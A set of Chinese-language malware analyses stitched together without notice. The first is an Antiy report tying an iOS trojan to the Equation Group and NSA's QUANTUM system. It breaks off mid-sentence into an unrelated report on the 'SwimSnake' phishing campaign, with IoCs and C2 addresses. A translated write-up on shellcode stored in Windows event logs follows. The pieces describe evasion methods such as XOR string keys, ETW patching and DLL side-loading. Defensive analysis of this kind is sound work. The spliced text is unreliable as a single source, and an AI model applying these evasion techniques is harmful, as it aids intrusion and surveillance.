1 概述:覆蓋智能終端的A2PT樣本拼圖在過去二十多年的時間裡,全球關鍵信息基礎設施運營者、安全廠商、研究者所面臨的重大考驗是,如何應對以NSA等情報機構所發動的網絡攻擊活動,基於這種攻擊活動應用了難以想像的技術與資源,安天CERT將這種攻擊活動稱之為A2PT(高級的高級持續性威脅)攻擊,並發現其中多起攻擊都來自於NSA下屬的方程式組織。如何把A2PT攻擊活動中的攻擊樣本與過程揭示出來,成為了一場比馬拉松更艱苦的分析接力賽,這場接力至少已經完成了三次交接棒,第一階段從2010年的“震網”事件觸發,圍繞“震網”—“火焰”—“毒曲”—“高斯”系列樣本的攻擊活動、樣本同源性與關聯展開,直到2013年的斯諾登事件出現,才發現這些只是冰山一角;第二階段是從方程式組織(隸屬於NSA)被曝光開始,圍繞其硬盤固件攻擊能力、載荷、通信加密機制特點、“原子化”作業模式等展開,並逐漸證明“震網”等攻擊與方程式組織密切相關;第三階段則是圍繞“影子經紀人”所洩露的方程式組織的漏洞和攻擊載荷,全球業界展開更深入的拼接分析和復盤。中國網絡安全產業聯盟在4月11日所發布的報告《美国情报机构网络攻击的历史回顾——基于全球网络安全界披露信息分析》 [1]基本完整復現了這場漫長而艱難的鬥爭。

這場分析接力中兩項比較重要的工作:一項是揭示從“震網”到方程式的複雜線索關聯,這些信息可以參見卡巴斯基和安天相關的惡意代碼家族的同源性分析報告[2][3],也可以在《震网事件的九年再复盘与思考》 [4]看到相關的惡意代碼工程的關聯圖譜。另一項則是去驗證一個邏輯上存在著必然性,但又需要大量工作來佐證的判斷——即方程式組織的作業能力和惡意代碼樣本儲備是覆蓋全操作系統平台的。毫無疑問,國際安全廠商卡巴斯基為此做出了最大的貢獻,安天CERT也有部分獨創的工作,例如Linux、Solaris樣本的最早曝光是來自安天的報告。安天CERT在2016年的報告《从方程式到“方程组”——EQUATION攻击组织高级恶意代码的全平台能力解析》 [5]中,匯聚了安天和卡巴斯基等的成果,統計了Windows、Linux、Solaris、FreeBSD和Mac OS平台的樣本情況。但彼時方程式組織針對iOS 、Android等移動平台的樣本還沒有正式浮出水面,儘管在2013年斯諾登事件中所曝光的NSA ANT系列攻擊裝備中DROPOUTJEEP、TOTEGHOSTLY等代號給出了一些線索,但由於iOS平台取證的難度,和其攻擊作業的高度定向性,業內一直沒有樣本級別的發現和實證——但這並不意味著,它們會永遠沉寂於水面之下,持續的努力讓我們能夠在後續找到線索並進行了分析積累。

2023年6月1日,卡巴斯基[6]發布了《三角行动:iOS设备被以前未知的恶意软件攻击》 ,這讓我們決定對我們原有分析成果進行補充分析,並正式發布。由於卡巴斯基尚未公開有關事件樣本信息和分析結果,我們尚無法判定我們分析的這些歷史樣本是否是“三角行動”攻擊樣本的早期版本。但我們明確的判斷是:我們所分析的樣本,和卡巴斯基所曝光的攻擊同樣來自方程式組織。但與卡巴斯基所發現的樣本是依托iMessage的漏洞投放不同的是,本報告的相關攻擊樣本來自方程式組織基於“量子”(QUANTUM)系統在網絡側針對上網終端瀏覽器漏洞利用投放。

2 樣本分析相關樣本並不是常規的iOS APP應用安裝包,而是針對iOS底層的木馬,木馬分為執行載荷與後門程序,執行載荷是最初投放到系統的,它負責釋放後門程序和持久化。

2.1 執行載荷表2‑1木馬主體程序

原始文件名

regquerystr.exe

文件大小

307kb

文件格式

Mach-O executable

木馬主體程序在投遞過程中偽裝的文件名是regquerystr.exe,但並非是一個PE格式文件,實際文件格式是ARM架構的Mach-O 可執行程序,利用漏洞或通過沙盒逃逸完成後門程序的釋放和執行,其首先檢測內核版本和用戶權限。

2-1.jpg

圖2‑1 對內核版本信息和當前的用戶權限進行獲取和判斷

然後木馬程序進行後門程序的釋放,將其釋放到/tmp/mvld,並執行/bin/launchctl的load命令完成後門服務的運行。

2-2.jpg

圖2‑2 運行後門服務

2-3.jpg

圖2‑3 正在運行的後門服務

木馬主體採用了兩種不同的加密算法來加密其明文字符串信息。

算法1:

2-4.jpg

圖2‑4 字符串加密算法1

算法2:

2-5.jpg

圖2‑5 字符串加密算法2

其使用的加密方法比較簡單,配置數據只運用了異或和乘法運算,其使用的密鑰有0x47[7]和0x1D,網絡通訊部分則使用了標準的HTTPS加密協議。這種簡單的加密與方程式組織在PC平台樣本嚴格使用高強度加密算法並不一致,關於PC樣本加密算法和密鑰可以參見安天分析報告《方程式(EQUATION)部分组件中的加密技巧分析》 [8],但相對來看,可能是彼時的手機環境算力相對較低,同時沒有較為成熟的安全對抗機制,因此攻擊者並未使用強加密。

2-6.jpg

圖2‑6 解密後的關鍵字符串信息

表2‑2 Regquerystr木馬解密出的配置信息

配置名稱

內容

說明

binary

Gzip文件

壓縮後的第二階段載荷

binary_filename

/usr/sbin/mvld

第二階段載荷釋放名稱

init_script_filename

com.apple.mvld.plist

mimic_bin_file

notifyd

mimic_init_file

com.apple.locationd.plist

2.2 後門程序在投放載荷執行後,會釋放一個後門程序mvld。該木馬是Regquerystr釋放的子程序,主要用於收集設備信息,以及與遠程服務器通信,程序運行後會生成日誌文件/private/var/tmp/.swapfile.tmp,並刪除自身文件(/tmp/mvld),經分析,可將該木馬合併入方程式組織的DoubleFantasy[9]攻擊木馬武器譜系。

表2‑3 後門程序信息

原始文件名

Mvld

文件大小

117kb

文件格式

Mach-O executable

mvld後門程序路徑如下:

2-7.jpg

圖2‑7 後門程序路徑

mvld後門程序會訪問遠程控制服務器發送http請求,當C2域名無法訪問時直接訪問硬編碼IP:

2-8.jpg

圖2‑8 向遠程服務器發送請求

mvld後門程序配置了代理設置,採用neno客戶端http協議。

2-9.jpg

圖2‑9 代理設置

mvld後門程序通過getuid、getpwuid可以獲取設備帳號的用戶名、密碼、用戶組等信息。

2-10.jpg

圖2‑10 獲取設備信息

mvld後門程序同時也會讀取/etc/passwd文件,獲取登陸用戶信息。

2-11.jpg

圖2‑11 獲取登錄用戶信息

修改環境變量DYLD_INSERT_LIBRARIES:

2-12.jpg

圖2‑12 修改環境變量DYLD_INSERT_LIBRARIES內容

該樣本有13個指令代碼,功能與安天歷史曝光過的方程式Windows和Solaris木馬DoubleFantasy系列指令十分相似。

2-13.jpg

圖2‑13 指令代碼

樣本各個指令功能簡要描述如下:

表2‑3指令代碼及對應功能

16進制指令代碼

指令功能

0x42

流量包校驗

0x4B

讀取文件上傳

0x60

收集大量信息回傳(具體表2-4)

0x70

更新C2地址

0x75

修改心跳包間隔

0x76

更新配置文件

0x78

更新配置文件

0x79

更新配置文件

0x80

刪除文件

0x92

接收文件執行

0x94

更新配置文件

0x95

執行程序

0xA2

更新配置文件

樣本獲取配置環境等信息後進行回傳:

2-14.jpg

圖2‑14 獲取環境和配置信息回傳

獲取信息格式說明:

表2‑4獲取環境和配置信息格式說明

標號

說明

標號

說明

標號

說明

000

MAC地址

033

未知

042

未知

001

未知

034

未知

043

語言

002

IP地址

035

操作系統類型

044

未知

003

未知

036

未知

045

系統運行時間

004

代理設置信息

037

未知

046

未知

005

未知

038

時區

047

未知

030

使用者名稱

039

未知

048

樣本執行路徑

031

密碼

040

localtime

049

系統版本號

032

操作系統類型(iOS)

041

Time

mvld木馬內部解密出信息FAID,其中ace02468bdf13579[10]與之前曝光的NSA作業所需強制性的唯一標識代碼一致,該標識也存在於“影子經紀人”洩露的方程式武器庫中SecondDate武器中,種種信息都指向:該木馬來自美方情報機構NSA下屬的方程式組織。

表2‑5 mvld解密出的配置信息

配置名稱

內容

說明

CI

3600

心跳

CIAE

120

cop1

80

C2端口1

cop2

443

C2端口2

CSF

/private/var/tmp/.swapfile.tmp

FAID

***_ace02468bdf13579_***

ID

*****00171

lp1

**********[.]com

C2地址1

lp2

80[.]*[.]*[.]*

C2地址2

os1

www.google.com

測試網絡聯通

os2

www.yahoo.com

測試網絡聯通

os3

www.wikipedia.org

測試網絡聯通

os4

www.apple.com

測試網絡聯通

PV

12

SDE

/usr/gated/gated.deb

3 同源分析我們將該iOS木馬與方程式組織的DoubleFantasy木馬裝備序列進行對比分析,可以得出如下結果:在功能、行為、算法、信息收集和指令控制集合上幾乎相同;木馬使用方程式組織加密算法中最常使用的數值0x47[7]、收集終端信息格式與DoubleFantasy一致,控制指令代碼結構與DoubleFantasy基本一致。

3.1 配置數據解密算法、密鑰對比本報告樣本與其他方程式組織樣本在加密算法、密鑰上完全一致:

3-1.jpg

圖3‑1歷史其他平台方程式樣本(左)解密算法與iOS樣本(右)解密算法

3.2信息收集格式對比對比發現本報告樣本與其他方程式樣本在信息收集的數據格式基本一致:

3-2.jpg

圖3‑2歷史其他平台方程式樣本(左)信息收集與iOS樣本(右)信息收集對比

3.3控制指令代碼對比本報告樣本與其他方程式樣本在控制指令格式上基本一致:

3-3.jpg

圖3‑3歷史其他平台方程式樣本(左)指令代碼與iOS樣本(右)指令代碼對比

4 攻擊投放分析通常認為iOS平台的安全強度比Android平台更高,但iOS平臺本身依然有很多可攻擊入口。針對iOS平台曾出現過的攻擊方式包括,基於App Store投毒、基於iMessage和FaceTime的漏洞、基於Wi-Fi在流量側的攻擊等。卡巴斯基所發布的報告,聲明其所捕獲的攻擊入口為iMessage服務。 iMessage漏洞確實是一個常用的攻擊入口,加之其本身帶有電信碼號的指向性,適合發起指向明確目標的攻擊。但同時我們也要指出的是,關閉iMessage和Facetime等服務,依然不能有效對抗方程式組織的攻擊,這是因為:方程式組織所擁有專屬的“上帝視角”攻擊模式,是依托入侵和劫持各國運營商網絡設備、和其他的信道介入能力構建流量劫持體系,在擬攻擊目標人員上網過程中,基於“量子”(QUANTUM)系統插入攻擊流量,利用瀏覽器等上網軟件的漏洞,實現將惡意代碼投放到設備當中運行。

“量子”(QUANTUM)系統項目於2013年首次被斯諾登曝光,由美國國家安全局(NSA)發起,並與英國政府通信總部(GCHQ)和瑞典國防無線局(FRA)聯合執行,用於開發和運營承載實施網絡攻擊的工程體系和入侵工具集,以實現對網絡空間中網絡狀態的干預和控制,由NSA下屬的特別行動入侵行動辦公室(TAO)開發並負責使用。而我們所說的方程式組織則是網絡安全產業界基於分析工作中發現的裝備特點對TAO所賦予的“別名”。

“量子”(QUANTUM)系統的運行支點,是對網絡通訊基礎設施的關鍵路由和網關等設備的入侵和劫持,從而具備獲取分析和劫持攻擊目標上網過程的能力。其首先基於上網設備的相關IP、碼號、鏈路、身份賬號或其他標識依托X-KeyScore系統進行識別,看是是否複合攻擊目標定義,以及是否是已經攻擊成功設備,如果是尚未實施攻擊過攻擊的待攻擊目標,則進一步判斷是否存在可用漏洞,然後選用相應的工具執行秘密入侵。

我們以假定目標登錄雅虎賬戶為例,攻擊過程如下:

1、目標登錄Yahoo郵箱或網站;

2、特殊行動源(SSO: Special Source Operations)站點發現“量子”(QUANTUM)系統指定的雅虎分揀器篩選的數據包,會將其重定向到FOXACID服務器;

3、該服務器將FOXACID URL注入到選定的數據包並將其發回至目標計算機;

4、雅虎服務器接收到請求郵件內容的數據包;

5、FOXACID數據包先於雅虎數據包回到終端;

6、目標機器加載雅虎頁面,但在後台同時加載FOXACID URL,將目標重定向到FOXACID刺探服務器;

7、如果目標瀏覽器可用,且PSP(Personnel Security Program)未能檢測,則FOXACID將第一階段植入程序部署到目標;

8、“驗證器”後門(美方稱之為Validator,安全廠商命名為DoubleFantasy的木馬)成功安裝。

4-1.jpg

圖4‑1 NSA“量子”(QUANTUM)系統攻擊原理

在針對iOS平台的攻擊中,“量子”系統通過多個Safari瀏覽器的遠程代碼執行漏洞組合利用投放攻擊樣本。其中最早的攻擊行為在2013年或更早的時間就出現。其早期運用的漏洞可能包括CVE-2014-1349、CVE-2014-4466等,漏洞利用代碼則由“狐酸”FOXACID漏洞平台生成,“量子”系統所構造的流量可以實現先於正常網站返回流量抵達目標終端,觸發漏洞執行該木馬程序。在利用本報告樣本的攻擊過程中,攻擊載荷在量子系統在插入的網絡流量中偽裝成GIF頭部,命名為regquerystr.exe。

需要高度警惕的是,“量子”系統的攻擊是上帝視角的,具體表現為:

1. 其攻擊流量是由被入侵或控制的網絡路由設備發出,其甚至可能先於被訪問的網站感知到被攻擊方的網絡訪問。

2. 其攻擊對像是訪問網站和網絡資源的瀏覽器,或其他互聯網客戶端,因此其更難防禦,也無法用傳統收斂開放端口和暴露面的思路來防範。

3. 其插入的攻擊流量並不是和真實網站交互過程,且是加密的,因此即使數據包遭到了還原和留存,發現了其構造的域名,也不具備傳統IP/域名意義的溯源價值。

4. 在攻擊得手後,其相關角色和設備被標定為攻擊有效,後續不會再進行投放的動作,而攻擊失手後,則可能不再繼續攻擊,或未來不會採用同一漏洞進行攻擊。因此極難復現和驗證。

5. “量子”的能力並不僅可以部署於骨幹網被A2PT組織滲透或控制的網絡設備之中,也可以在入侵作業中,植入到政企機構網關和邊界設備上,包括相關漏洞利用工具可以部署到類似企業WEBMail 服務器中,使之有別於一般的持久化,而採取反复打入+內存木馬的方式,更好地對抗一般性的威脅獵殺。

“量子”的作業能力一方面來自於方程式組織對全球關鍵網絡通訊設備的攻擊控製程度,另一方面則來自其掌控的大量未公開漏洞資源和漏洞利用工具儲備。

5 A2PT組織的漏洞儲備、來源及資源運營和作業分析5.1 整體漏洞運營機制無論是攻擊中東SWIFT對信息基礎設施長驅直入[11],還是“量子”之手實現上帝視角的攻擊,方程式等A2PT作業組織都依賴極為豐富的漏洞儲備[12][13]。

美方對零日漏洞(0day)的管理和儲備有一套自身的管理機制。 2017年美國白宮發布《漏洞公平裁决政策和程序》 [14],為漏洞公平裁決程序(Vulnerabilities Equities Process,VEP)制定了更多的規則和透明度要求,包括目的、背景、範圍、參與主體、裁決過程和相關附件等內容,這個政策的主導機構就是NSA。 VEP是美國政府在處理安全漏洞問題時所引入的一項裁決機制,當發現漏洞時,是選擇將發現的漏洞向有關科技公司披露,告知其產品或服務中存在的網絡安全漏洞以便開發者及時進行修復,還是選擇將漏洞信息進行保留,以便今後用於網絡入

封面图.jpg

1 概覽“遊蛇”黑產自2022年下半年開始活躍至今,針對國內用戶發起了大量釣魚攻擊和詐騙活動。該類黑產傳播的惡意程序變種多、更新免殺手段快、更換基礎設施頻繁、攻擊目標所涉及的行業廣泛。近期,安天CERT監測到“遊蛇”黑產針對與金融、財務相關的企業及人員進行的攻擊活動。攻擊者投放的初始惡意文件主要有三類:可執行程序、CHM文件、商業遠控軟件“第三隻眼”,偽造的文件名稱大多與財稅、資料、函件等相關。

由於商業遠控軟件“第三隻眼”提供多方面的遠程監控及控制功能,並且將數據回傳至廠商提供的子域名服務器、根據qyid值識別控制端用戶,攻擊者無需自己搭建C2服務器,因此惡意利用該軟件進行的攻擊活動近期呈現活躍趨勢。

“遊蛇”黑產仍在頻繁地對惡意軟件、免殺手段以及相關基礎設施進行更新,每天依舊有一定數量的用戶遭受攻擊並被植入遠控木馬。安天CERT建議用戶接收文件時保持警惕,避免點擊安全性未知的可執行程序、腳本等文件,以免遭受“遊蛇”攻擊,造成不必要的損失。建議未購買使用“第三隻眼”遠控軟件的用戶,使用流量監測設備檢查網絡中是否存在與“dszysoft.com”及其子域名相關的連接記錄,若存在則表明可能被惡意植入了相關遠控,用戶也可以考慮對相關域名進行封禁。

經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該類遠控木馬的有效查殺。相關防護建議詳見本文第四章節。

2技術梳理近期,安天CERT監測到攻擊者投放的初始惡意文件主要有三類,偽造的文件名稱大多與財稅、資料、函件等相關。

表2‑1近期部分樣本偽裝名稱

偽裝的程序名稱

企業補貼名單.exe

企業納稅新系統.exe

企業稅務稽查名單.exe

2024年企業稅收減免新政策.exe

律-師-函102803912.exe

律師函.exe

資料.exe

0328.CHM

公司全套資料.CHM

20240325.CHM

2.1 可執行程序此類可執行程序通常是下載器,執行後在內存中執行Shellcode,從攻擊者事先準備的服務器中獲取下一階段的載荷文件,並使用“白加黑”、“內存執行Shellcode”、“內存解密Payload”等手段最終加載執行Gh0st等遠控木馬。

2.2 CHM文件此類CHM文件執行後會彈出“內容已損壞,無法繼續瀏覽,請關閉”字樣。實際上,其內部腳本中的代碼此時已經執行,通過遠程加載xsl文件的方式,獲取下一階段的載荷文件,並使用“白加黑”等手段最終加載執行Gh0st等遠控木馬。

图 2-1 CHM文件执行后弹出的内容.png

圖2‑1 CHM文件執行後彈出的內容

2.3 商業遠控軟件“第三隻眼”攻擊者有時也會直接將經過偽裝的“第三隻眼”安裝包發送給目標用戶,並誘導執行。攻擊者傳播的安裝包通常以靜默方式進行安裝,過程中無界面顯示。此外,也存在攻擊者通過已經植入的遠控木馬進行遠程安裝的情況。

由於該款商業遠控軟件能夠提供多方面的遠程監控及控制功能,並且通過將數據發送至廠商提供的子域名服務器、根據qyid值識別控制端用戶的方式回傳數據,因此黑產團伙已多年惡意利用該遠控軟件進行攻擊活動,近期依然呈現活躍趨勢。該遠控軟件某一版本的控制端界面如下圖所示。

图 2-2 控制端界面.png

圖2‑2 控制端界面

3 樣本分析3.1 可執行程序由於攻擊者投放的惡意可執行程序較多,此處以一例出現頻率較高的可執行程序為例。

表3‑1樣本標籤

惡意代碼名稱

Trojan/Win64.SwimSnake[Downloader]

原始文件名

資料全套.exe

MD5

A3A423DD691197920B64EA8E569A0CDE

處理器架構

Intel 386 or later, and compatibles

文件大小

163 KB (167168字節)

文件格式

BinExecute/Microsoft.EXE[:X64]

時間戳

2013-03-29 01:46:13(偽造)

數字簽名

無效的數字簽名

加殼類型

編譯語言

Microsoft Visual C/C++

PDB路徑

VT首次上傳時間

VT檢測結果

該程序執行後申請一段內存空間,寫入Shellcode並執行。

图 3-1 执行Shellcode.png

圖3‑1執行Shellcode

3.1.1Shellcode該Shellcode判斷當前系統中是否存在C:\xxxx.ini文件,若已經存在則結束進程,攻擊者可能通過這種方式來判斷系統是否曾被感染;然後檢測當前系統中是否運行有安全產品相關進程,若不存在則對硬編碼的字符串進行解密得到URL,從中獲取b.dat文件並進行解密,從而得到兩組URL及下載後用於重命名的文件名稱。該Shellcode默認使用其中的第一組。

图 3-2 获取文件并解密得到URL及文件名称.png

圖3‑2獲取文件並解密得到URL及文件名稱

該Shellcode在C:\Users\Public\Videos中根據隨機生成的名稱創建文件夾,根據第一組URL下載4個文件,使用自定義的解密算法對其進行解密,寫入創建的文件路徑中,最後執行其中的可執行程序。图 3-3 解密后的攻击载荷文件.png

圖3‑3解密後的攻擊載荷文件

3.1.2 “白加黑”利用攻擊者利用“白加黑”手段,通過白程序加載其構造的惡意DLL文件,在內存中執行Shellcode讀取ffff.pol文件內容、解密得到一個DLL文件,再由該DLL文件創建計劃任務、讀取ffff.lop文件進行解密,最終執行Gh0st遠控木馬。图 3-4 由ffff.lop文件解密得到Gh0st远控木马.png

圖3‑4由ffff.lop文件解密得到Gh0st遠控木馬

3.2 CHM文件表3‑2樣本標籤

惡意代碼名稱

Trojan/Win32.SwimSnake[Downloader]

原始文件名

45.204.11.10 (2).CHM

MD5

FB114FFE7FC1454C011BAA502C00A358

文件大小

9.39 KB (9625字節)

文件格式

Microsoft Compiled HTML Help

VT首次上傳時間

VT檢測結果

攻擊者投放的CHM文件執行後,從指定URL處獲取xsl文件,並進行遠程加載。

图 3-5 加载远程xsl文件.png

圖3‑5 加載遠程xsl文件

3.2.1 load.xsl該文件含有兩段經過Base64編碼處理的字符串,對其進行解碼後在內存中加載.NET程序集。

图 3-6 load.xsl文件关键内容.png

圖3‑6 load.xsl文件關鍵內容

3.2.2.NET程序被加載的.NET程序從指定URL處獲取config文件,讀取config文件中的每一行內容,根據其下載文件並執行。

图 3-7 .NET程序关键代码.png

圖3‑7 .NET程序關鍵代碼

3.2.3 config.txtconfig.txt文件中包含多個託管載荷文件的URL。

图 3-8 config.txt文件.png

圖3‑8 config.txt文件

3.2.4“白加黑”利用攻擊者此次利用的白程序是賽車競速遊戲“極限競速:地平線5”相關程序,並針對該白程序構造了惡意的“PartyXboxLive.dll”文件。該DLL文件被加載後,對boom.png文件內容進行解密,創建msiexec.exe進程,並將解密得到的Gh0st遠控木馬注入至msiexec.exe的內存空間中。

图 3-9 攻击者利用“极限竞速:地平线5”相关程序进行攻击.png

圖3‑9攻擊者利用“極限競速:地平線5”相關程序進行攻擊

3.3 商業遠控軟件“第三隻眼”攻擊者投放的“第三隻眼”安裝包程序通常以靜默方式安裝,以避免用戶察覺。

表3‑3樣本標籤

惡意代碼名稱

HackTool/Win32.DSZY[Spy]

原始文件名

企業納稅新系統.exe

MD5

7B8C787345DED235BAC78AB78EC0FAEA860B3B8B

處理器架構

Intel 386 or later, and compatibles

文件大小

38.7 MB (40622763字節)

文件格式

BinExecute/Microsoft.EXE[:X86]

時間戳

2021-11-22 17:54:59

數字簽名

加殼類型

編譯語言

Microsoft Visual C/C++

PDB路徑

VT首次上傳時間

2023-12-05 16:02:42

VT檢測結果

24/72

3.3.1配置信息該軟件安裝目錄中存在3個.conf配置文件,屬於SQLite3數據庫文件,其中含有配置信息。

图 3-10 配置信息文件.png

圖3‑10配置信息文件

comnctt.xdt.conf與syslogin.xdt.conf文件的內容相似,包含關於網絡回連及程序等配置信息。其中,main/host表示服務器域名,config/qyid表示控制端用戶名所對應的id。該遠控軟件會將運行過程中監控的數據回傳至廠商提供的子域名服務器中,並根據qyid識別控制端對應的用戶名。

图 3-11 回连域名及qyid.png

圖3‑11 回連域名及qyid

expiorer.xdt.conf文件中含有與監控相關的配置信息。其中,main/event_config及main/event_rule中含有經過Base64編碼的字符串,解碼後是JSON格式的配置信息,包括監控目標類別、關鍵字、規則等。

图 3-12.png

圖3‑12 main/event_config解碼後的部分內容

3.3.2 數據記錄該軟件的安裝目錄有多個.dat文件,屬於SQLite3數據庫文件,其中記錄著運行過程中收集的數據,包括屏幕截圖、硬件信息、進程相關信息、鍵盤記錄以及根據配置信息中的關鍵詞、規則收集的數據。

屏幕截圖:該軟件會根據配置信息中的時間間隔持續地對屏幕進行截圖。

图 3-13 根据配置信息中的时间间隔持续进行截图.png

圖3‑13根據配置信息中的時間間隔持續進行截圖

進程相關信息:該軟件會對啟動的進程相關信息進行記錄,包括啟動時間、進程名稱、窗口標題等。

图 3-14 记录进程相关信息.png

圖3‑14記錄進程相關信息

根據配置信息中的關鍵詞、規則收集的數據:該軟件會根據配置信息中定義的目標類別、關鍵詞及規則收集數據,並將數據記錄在相應的數據表中,包括鍵盤記錄、文件監控、剪貼板監控、郵件信息等。图 3-15 相关数据表.png

圖3‑15相關數據表

4防護建議4.1 增強業務人員的安全意識增強業務人員的安全意識,降低組織被攻擊的可能性。財務、客服、銷售等人員使用微信、企業微信等電腦端登錄的即時通訊應用時,避免因工作性質、利益原因,被誘導下載和運行不明來源的各類文件。組織可通過選擇安全意識培訓服務,鞏固“第一道安全防線”。

4.2 使用安天安全威脅排查工具排查遊蛇威脅發現或懷疑遭受“遊蛇”黑產攻擊:針對“遊蛇”黑產在攻擊活動中投放的遠控木馬,在安天垂直響應平台下載安天安全威脅排查工具(https://vs2.antiy.cn,“遊蛇”專項排查工具),面對突發性安全事件、特殊場景時快速檢測排查此類威脅。由於“遊蛇”黑產使用的攻擊載荷迭代較快,且持續更新免殺技術,為了更精準、更全面的清除受害主機中存在的威脅,建議客戶在使用專項排查工具檢出威脅後,聯繫安天應急響應團隊(CERT@antiy.cn)處置威脅。

图 4-1 “游蛇”专项排查工具检出“游蛇”威胁.png

圖4‑1“遊蛇”專項排查工具檢出“遊蛇”威脅

4.3 加強終端文件接收和執行防護部署企業級終端防禦系統,實時檢測防護即時通訊軟件接收的不明文件。安天智甲終端防禦系統採用安天下一代威脅檢測引擎檢測不明來源文件,通過內核級主動防禦能力阻止其落地和運行。

图 4-2 安天智甲终端防御系统阻止恶意文件落地.png

圖4‑2安天智甲終端防禦系統阻止惡意文件落地

5IoCsIoCs

A3A423DD691197920B64EA8E569A0CDE

5D8D6F2D27A0BB95A9E4E1C44685F99C

6F4743D3C1C475BC6D2698CC4FC4373F

DB823462C21D62E19634AD1772F80C58

FB114FFE7FC1454C011BAA502C00A358

68A86812EED8C560BD0708F237338BC5

9DC1C5D895721C079DD68B6CD82FB1BB

148B5D68A05D480D60A58F73980363A2

hxxps://lldwt-oss.oss-cn-beijing.aliyuncs.com

hxxps://ced-oss.oss-cn-shanghai.aliyuncs.com

hxxps://augenstern-1324625829.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl

hxxps://elephant-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl

hxxps://petrichor-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl

45.195.57[.]10:8800

45.204.11[.]10:8888

在2022年2月,卡巴斯基實驗室的研究人員首次觀察到將shellcode放入Windows事件日誌的技術。該技術允許在文件系統中隱藏“無文件”最後stager的木馬。這種對活動中事件日誌的關注不僅限於存儲shellcode。 Dropper 模塊還修復了與事件跟踪(ETW) 和反惡意軟件掃描接口(AMSI) 相關的Windows 原生API 函數,以使感染過程更加隱蔽。

除了事件日誌之外,攻擊者的工具集中還有許多其他技術。其中,開發者在功能中增加了偵察,可以模仿合法域名的C2 Web 域名,以及受害者使用的現有和軟件的名稱。為了使攻擊更加隱蔽,攻擊者使用Linode、Namecheap、DreamVPS 上的虛擬專用服務器。

一種更常見的方法是使用大量的反檢測解密器。攻擊者使用不同的編譯器,從微軟的cl.exe 或MinGW 下的GCC 到最新版本的Go。此外,為避免被檢測到,某些模塊使用數字證書進行簽名。研究人員認為它是由攻擊者發布的,因為遙測數據沒有顯示任何與之簽名的合法軟件,只有這次活動中使用的惡意代碼。

關於最後stager的特洛伊木馬,攻擊者決定使用多個基於HTTP 和命名管道。顯然,除了事件日誌之外,攻擊者還痴迷於內存注入,許多RAT 命令與它相關並且被大量使用。除了上述自定義模塊和技術外,攻擊者還使用了一些商業滲透測試工具,如Cobalt Strike 和SilentBreak 的工具集。

感染鏈研究人員從內存中的最後一個stager開始研究,然後使用遙測技術,重建了幾個感染鏈,該活動的針對性很強,且使用的大量工具還包括商業工具。

該活動包括各種技術和模塊,讓我們把它分成幾類來從技術上描述這個活動,比如商業滲透測試套件、圍繞它們的自定義反檢測包裝器和最後stager的木馬。

商業工具集有:反檢測包裝器——大量使用系統調用庫的Go 解密器,這可以使Cobalt Strike 模塊多次編碼,並使用AES256 CBC 加密blob,這是首次觀察到擁有Cobalt Strike 的Go的使用情況。

反檢測包裝器——一個庫啟動器,在MinGW 環境下使用GCC 編譯。這個stager唯一可能的原因是反檢測。

反檢測包裝器——AES 解密器,使用Visual Studio 編譯器編譯;

最後stagerRAT——基於HTTP 的木馬,可能的原始名稱是ThrowbackDLL.dll 和drxDLL.dll,但代碼比SilentBreak 的Throwback 的舊版本更複雜。

最後stagerRAT——基於管道的命名木馬,可能的原始名稱是monolithDLL.dll 和SlingshotDLL.dll。根據文件名,最後stager模塊可能是商業Slingshot 版本的一部分。

同樣,我們認為定制的一些模塊(如包裝器和最後stager)可能是商業產品的一部分。分類之後,我們準備一個一個地分析模塊。

初始感染我們觀察到的最早攻擊stager發生在2021 年9 月。 Cobalt Strike 模塊的傳播是通過說服目標下載合法站點file.io 上的.rar 鏈接並自行運行來實現的。內部Cobalt Strike 模塊的數字證書如下(在使用相同的活動期間,從wrapper 到last stagers 簽署了15 個不同的stager):

1.png

由於所有目標主機的感染情況不同,我們將僅描述觀察到的一種情況。由於能夠使用木馬將代碼注入任何進程,攻擊者可以自由地廣泛使用此功能將下一個模塊注入Windows 系統進程或受信任的應用程序(如DLP)。

記住截斷的進程注入,甚至模仿Web 域註冊,我們可以將攻擊過程描述為非常迭代(quite iterative):對一些模塊進行初始偵察,然後準備額外的攻擊。

商業工具集關於商業工具,這次活動中使用SilentBreak 和Cobalt Strike 工具集的痕跡非常明顯。名為ThrowbackDLL.dll 和SlingshotDLL.dll 的木馬讓我們想起Throwback 和Slingshot,它們都是SilentBreak 框架中的工具,而與dropper (sb.dll) 關聯的“sb”可能是供應商名稱的縮寫。

這裡我們要提一下,二進製文件中的幾個.pdb 路徑包含項目的目錄C:\Users\admin\source\repos\drx\ 以及其他未以Throwback 或Slingshot 命名的模塊,例如drxDLL.dll。但是,加密函數與公開可用的Throwback 代碼中的相同。

反檢測設計對於反檢測包裝器,使用了不同的編譯器。除了MSVC,Go 編譯器1.17.2 和MinGW 下的GCC 都在使用。解密器差異很大,它們包含的功能如下表所示:

幾個編譯器——可以使用Go 和C++ 模塊完成相同的AES256 CBC 解密;

列入白名單的啟動器——WerFault.exe 的自動運行副本將啟動器映射到進程地址空間;

數字證書——15 個文件使用“Fast Invest”證書籤名,我們沒有觀察到任何用它簽名的合法文件

修復ntdll.dll 的日誌記錄導出——為了更加隱蔽,Go dropper 將與日誌記錄相關的API 函數(如EtwEventWriteFull)修復到具有空功能的自地址空間中;

在事件日誌中保留shellcode——這是攻擊者的主要創新,使用next stager 加密的shellcode 被分成8 KB 的block並保存在事件日誌的二進制部分中;

C2 網絡域名模仿——攻擊者在使用標題中,註冊了一個ERP網絡域名;

這層感染鏈解密、映射到內存並啟動代碼。本文我們將僅介紹Cobalt Strike 的Go 解密啟動器。

主包中的函數名稱被混淆了,Main.init 從與事件日誌創建相關的kernel32.dll 和ntdll.dll 庫(WriteProcessMemory 和其他函數)中解碼Windows API 函數名稱。二進製文件中的每個名稱都連續四次使用base64 編碼。使用WriteProcessMemory,擁有“xor rax, rax; ret”的dropper在內存中編碼以下函數:EtwNotificationRegister、EtwEventRegister、EtwEventWriteFull、EtwEventWriteFull、EtwEventWrite。

在Main.start 中,惡意軟件會檢查主機是否在域中,並且只有在它為真時才起作用。然後動態解析上述函數的地址。下一個stager使用AES256(CBC 模式)加密,密鑰和IV 使用base64 編碼。

使用這種方法,研究人員需要編寫一些腳本來收集下一個模塊的加密部分。解密後,要獲得最終的可移植可執行文件,還需進一步轉換數據。

